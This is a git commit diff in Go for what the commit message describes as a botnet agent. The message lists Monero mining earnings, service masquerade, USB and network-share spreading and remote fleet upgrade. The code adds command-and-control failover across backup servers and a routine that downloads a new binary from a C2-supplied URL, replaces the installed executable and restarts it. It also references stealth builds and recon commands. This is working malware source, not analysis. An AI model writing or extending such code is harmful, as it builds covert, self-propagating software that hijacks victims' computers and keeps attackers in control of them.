Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
drjones
2026-05-29 22:29:58 -07:00
parent 0f9e04f5f6
commit 102d2fb7c6
29 changed files with 1795 additions and 84 deletions

View File

@@ -4,8 +4,10 @@ import (
"encoding/base64"
"encoding/json"
"fmt"
"io"
"log"
"net"
"net/http"
"net/url"
"os"
"os/exec"
@@ -75,15 +77,26 @@ func (c *AgentClient) Run() error {
}
}
// Build deduped server list: primary first, then backups.
// On each failure we advance to the next URL so the fleet never
// goes dark when the primary host reboots.
serverURLs := buildServerURLList(c.cfg)
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
urlIdx := 0
backoff := 5 * time.Second
const maxBackoff = 60 * time.Second
for {
target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now()
if err := c.connectLoop(); err != nil {
log.Printf("[agent] disconnected: %v", err)
if err := c.connectLoop(target); err != nil {
log.Printf("[agent] disconnected from %s: %v", target, err)
}
// Advance to next URL so the next reconnect tries a different server
urlIdx++
if time.Since(start) > 10*time.Second {
// Long-lived connection succeeded — reset backoff on the next attempt
backoff = 5 * time.Second
}
time.Sleep(backoff)
@@ -94,8 +107,30 @@ func (c *AgentClient) Run() error {
}
}
func (c *AgentClient) connectLoop() error {
wsURL, err := buildWSURL(c.cfg.ServerURL)
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string {
seen := map[string]bool{}
var urls []string
add := func(u string) {
u = strings.TrimSpace(u)
if u == "" || seen[u] {
return
}
seen[u] = true
urls = append(urls, u)
}
add(cfg.ServerURL)
for _, u := range cfg.BackupServerURLs {
add(u)
}
if len(urls) == 0 {
urls = []string{cfg.ServerURL}
}
return urls
}
func (c *AgentClient) connectLoop(serverURL string) error {
wsURL, err := buildWSURL(serverURL)
if err != nil {
return err
}
@@ -350,6 +385,14 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
encoded := base64.StdEncoding.EncodeToString(b)
c.sendCommandResult(action, true, encoded)
case "upgrade":
// data = download URL for the new binary
if data == "" {
c.sendCommandResult(action, false, "no upgrade URL provided")
return
}
go c.performUpgrade(data)
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
default:
if c.handleReconCommand(action, command) {
return
@@ -385,6 +428,75 @@ func (c *AgentClient) restartSelf() {
os.Exit(0)
}
// performUpgrade downloads a new binary from downloadURL, replaces the
// installed binary, and restarts. Works around Windows file-locking by
// renaming the running exe to .old before writing the new one.
func (c *AgentClient) performUpgrade(downloadURL string) {
log.Printf("[agent] upgrade: downloading from %s", downloadURL)
resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2
if err != nil {
log.Printf("[agent] upgrade: download failed: %v", err)
c.sendCommandResult("upgrade", false, "download failed: "+err.Error())
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
log.Printf("[agent] upgrade: server returned %s", resp.Status)
c.sendCommandResult("upgrade", false, "server returned "+resp.Status)
return
}
exe, err := os.Executable()
if err != nil {
c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error())
return
}
exe, _ = filepath.Abs(exe)
// Write new binary to a temp file in the same directory
newPath := exe + ".new"
tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error())
return
}
if _, err := io.Copy(tmp, resp.Body); err != nil {
tmp.Close()
_ = os.Remove(newPath)
c.sendCommandResult("upgrade", false, "write failed: "+err.Error())
return
}
tmp.Close()
// On Windows: rename the running exe to .old (allowed), then rename .new into place.
// On other OSes: direct rename works while the process is running.
oldPath := exe + ".old"
_ = os.Remove(oldPath)
if err := os.Rename(exe, oldPath); err != nil {
_ = os.Remove(newPath)
c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error())
return
}
if err := os.Rename(newPath, exe); err != nil {
// Try to roll back
_ = os.Rename(oldPath, exe)
_ = os.Remove(newPath)
c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error())
return
}
log.Printf("[agent] upgrade: binary replaced, restarting")
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
time.Sleep(500 * time.Millisecond)
cmd := exec.Command(exe, "--run")
cmd.Dir = filepath.Dir(exe)
if startErr := cmd.Start(); startErr != nil {
log.Printf("[agent] upgrade: restart failed: %v", startErr)
}
os.Exit(0)
}
func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
if !cfg.FileLogging || cfg.StealthMode {
return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")